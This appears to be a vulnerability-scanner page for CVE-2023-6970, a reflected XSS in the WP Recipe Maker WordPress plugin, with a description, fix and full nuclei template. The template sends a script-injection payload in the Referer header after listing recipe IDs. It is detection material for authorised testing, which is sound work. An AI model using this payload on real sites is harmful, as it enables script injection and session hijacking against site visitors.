WP Recipe Maker <= 9.1.0 - Reflected XSS via Referer Header

mediumseverity

0.7%likelihood of exploitation, next 30 days

53%of all CVEs are less likely

Readycheck to confirm it

The WP Recipe Maker plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'Referer' header in all versions up to, and including, 9.1.0 due to insufficient input sanitization and output escaping. The Referer header value is used directly in the href attribute of the "Back" button on the print page without proper escaping.

Impact

Attackers can execute arbitrary scripts in the context of the victim's browser, potentially leading to session hijacking or defacement.

Fix

Update to the latest version of WP Recipe Maker plugin.

How to confirm it

Send: GET {{BaseURL}}/wp-json/wp/v2/wprm_recipe?per_page=5
Positive when: contains "wprm_recipe"
Send: GET {{BaseURL}}/?wprm_print={{recipe_id}}
Positive when: status_code == 200 and contains(body, 'wprm-print-button-back') and contains(body, '<script>alert(document.domain)</script>')

Run it with nuclei: nuclei -id CVE-2023-6970 -u <target>

The full check

id: CVE-2023-6970

info:
  name: WP Recipe Maker <= 9.1.0 - Reflected XSS via Referer Header
  author: Shivam Kamboj
  severity: medium
  description: |
    The WP Recipe Maker plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'Referer' header in all versions up to, and including, 9.1.0 due to insufficient input sanitization and output escaping. The Referer header value is used directly in the href attribute of the "Back" button on the print page without proper escaping.
  impact: |
    Attackers can execute arbitrary scripts in the context of the victim's browser, potentially leading to session hijacking or defacement.
  remediation: |
    Update to the latest version of WP Recipe Maker plugin.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-recipe-maker/wp-recipe-maker-910-reflected-cross-site-scripting-via-referer
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6970
    - https://plugins.trac.wordpress.org/changeset/3019769/wp-recipe-maker/trunk/templates/public/print.php
  metadata:
    verified: true
    max-request: 2
  tags: cve,cve2023,wordpress,wp-plugin,xss,wp-recipe-maker,wp

flow: |
  http(1);
  for (let recipe of iterate(template["recipe_ids"])) {
    set("recipe_id", recipe);
    http(2);
  }

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/wp/v2/wprm_recipe?per_page=5"

    matchers:
      - type: word
        words:
          - "wprm_recipe"
        internal: true

    extractors:
      - type: json
        name: recipe_ids
        json:
          - '.[].id'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/?wprm_print={{recipe_id}}"

    headers:
      Referer: "{{BaseURL}}/\"><script>alert(document.domain)</script>\""

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, 'wprm-print-button-back')
          - contains(body, '<script>alert(document.domain)</script>')
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from